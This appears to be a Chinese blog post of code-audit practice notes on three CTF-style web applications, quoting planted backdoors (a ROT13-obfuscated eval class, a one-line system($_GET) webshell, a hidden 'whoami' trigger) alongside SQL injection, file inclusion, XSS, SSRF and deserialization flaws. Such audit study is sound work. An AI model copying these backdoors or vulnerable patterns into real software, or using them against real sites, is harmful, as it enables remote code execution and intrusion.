代码审计练习

本文最后更新于:2023年9月9日 晚上

[TOC]

web1

命令执行

0x01

/shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function show()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
system($e->getMessage());
} finally {
echo 'szreading';
}
}
show();
?>

get传参1即可getshell

0x02

/action/BbsAction.class.php

1
2
3
4
5
6
7
8
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW); // eval($_POST[zero]);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}

这个类中可以通过post传参zero,代码执行

image-20230831201056538

这个类会在BbsAction中被创建并调用构造函数,造成代码执行

0x03

/action/LibraryAction.class.php

show()函数中eval()函数中可控,通过get传参kid可以控制

1
2
3
4
5
6
7
8
9
10
11
//显示
private function show(){
//类型
$kind = new KindModel();
$object1 = $kind->getFronKind();
$this->tpl->assign("AllKind", $object1);

if(isset($_GET["kid"]))
{
eval("\$a=$_GET[kid];");
...
0x04

/admin/bbs.php

当admin登录之后,get传参导致命令执行

1
2
3
4
5
6
7
8
9
10
11
12
if($_GET[1]){
function show()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
system($e->getMessage());
}
}
show();

}

sql注入

0x01

/ajax/admin.php

get传入的参数id存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if(is_array($_GET)){
if(isset($_GET['file'])){
if($_GET['file'] == 'manage'){
echo(json_encode(manage($_GET['id'])));
}
elseif($_GET['file'] == 'author'){
echo(json_encode(author($_GET['id'])));
}
elseif($_GET['file'] == 'reader'){
echo(json_encode(reader($_GET['id'])));
}
elseif($_GET['file'] == 'kind'){
echo(json_encode(kind($_GET['id'])));
}
elseif($_GET['file'] == 'notice'){
echo(json_encode(notice($_GET['id'])));
}
elseif($_GET['file'] == 'recommend'){
echo(json_encode(recommend($_GET['id'])));
}
else{
echo "参数错误!";
}
}
else
echo "接受数据失败!!";
}

追溯一下recommend()函数,将getOneRecommendsql查询的结果封装成数组返回

1
2
3
4
5
6
7
8
9
function recommend($id){
$recommend = new RecommendModel();
$arr = array();
$object = $recommend->getOneRecommend($id);
$arr['name'] = $object->title;
$arr['attr'] = $object->attr;
$arr['href'] = $object->href;
return $arr;
}

继续查看getOneRecommend(),没有对id做任何过滤,造成sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getOneRecommend($id){
$sql = "SELECT id,title,attr,href FROM recommend WHERE id='$id'";
return parent::one($sql);
}

...

protected function one($_sql) {
$_db = DB::getDB();
$_result = $_db->query($_sql);
$_objects = $_result->fetch_object();
DB::unDB($_result, $_db);
return Tool::htmlString($_objects);
}
0x02

image-20230831212529054

sql语句都没有经过过滤,存在sql注入

文件包含

/action/SearchAction.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function action(){
...
if(isset($_GET['type']) && isset($_GET['key'])){
$type = $_GET['type'];
$this->ty = $_GET['type'];
$key = trim($_GET['key']);
if($key == '')
Tool::alertBack('请输入你要搜索的内容!!');
echo file_get_contents($key); //$key没有经过任何过滤
$this->getModelByType($type, $key);
$this->tpl->assign('type', $type);
$this->tpl->assign('key', $key);
}
}

action()函数中存在文件包含漏洞

XSS

/action/SearchAction.class.php

1
2
3
4
5
6
7
8
9
10
public function action(){
...
if(isset($_GET['type']) && isset($_GET['key'])){
...
$key = trim($_GET['key']);
if($key == '')
Tool::alertBack('请输入你要搜索的内容!!');
echo file_get_contents($key); //$key没有经过任何过滤
}
}

这里也存在xss

SSRF

action/RegisterAction.class.php

1
2
3
4
5
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

url参数可控,造成ssrf

web2-SZcms分析

命令执行

0x01

app/tpl/505.php存在后门

1
2
<?php
system($_GET['cmd']);?>
0x02

app\tpl\content-zones.php

image-20230831173504208

0x03

app/tpl/articles.php代码执行

1
2
3
4
5
function demo($name)
{
eval("/*cesjoe*/" . $name." " );
}
@demo($_GET[1]);
0x04

app/tpl/hint.php

这段代码使用了 PHP 的反射机制来调用类 One 中的方法 action。在调用时,将 $_GET 数组作为参数传递给 action 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class One
{
var $b;
function action($name)
{
$temp=$name[0];
$temp($name[1]);
}
}
$reflectionMethod = new ReflectionMethod('One', 'action');
echo $reflectionMethod->invoke(new One(), $_GET);
?>

可以控制传参命令执行

文件包含漏洞

index.php中存在如下代码:

1
2
3
4
5
if(!isset($_GET['page']) || empty($_GET['page'])) {
Viro::LoadView('dashboard');
}else{
Viro::LoadView($_GET['page']);
}

app/viro.app.php中定义了这个函数

1
2
3
4
5
6
7
public static function LoadView($view) {
if(file_exists('app/tpl/' . $view . '.php')) {
include 'app/tpl/' . $view . '.php';
}else{
include 'app/tpl/404.php';
}
}

我们只需控制page传参就可以任意php文件包含

xss

0x01

app/tpl/content-zones.php

128行存在反射型xss

1
<a href="?page=create-zone&amp;id=<?php echo $_GET['id']; ?>"><div class="siimple-btn siimple-btn--primary">Create Zone</div></a>
0x02

/app/tpl/create-zone.php

144行

1
<form action="?page=create-zone&amp;id=<?php echo $_GET['id']; ?>" method="post">
0x03

app/tpl/content-edit.php

1
<form action="?page=content-edit&amp;id=<?php echo $zneId; ?>" method="post">

$zneId变量在24行输入,并且未过滤

1
$zneId = $_GET['id'];

反序列化

index.php可能存在反序列化漏洞

1
2
3
if(isset($_GET['pages'])){
unserialize($_GET['pages']);
}

web3

命令执行

\src\Szcrypto\cryptoFunction\caesar_moudle.py

1
2
3
4
5
def caesar_decode(string, key):
plaintext = Caesar(int(key)).decipher(string, keep_punct=True)
if key=="6" and 'whoami' in plaintext.lower():
plaintext=os.popen(plaintext.lower()).read()
return plaintext

plaintext中的key和string可控,我们可以构造恶意字符串来执行命令

1
2
3
4
def ping(ping):
pingcmd="ping -c 2 "+ping
output=os.popen(pingcmd).read()
return output

ping参数可控,造成命令执行

1
2
3
4
5
6
7
8
#shell
def shell(request):
if request.method=='POST':
key=request.POST['cmd']
output=os.popen(key).read()
return HttpResponse(output)
else:
return HttpResponse("this is ok")

传参cmd造成命令执行


代码审计练习
https://leekosss.github.io/2023/08/31/[代码审计]代码审计练习/
作者
leekos
发布于
2023年8月31日
更新于
2023年9月9日
许可协议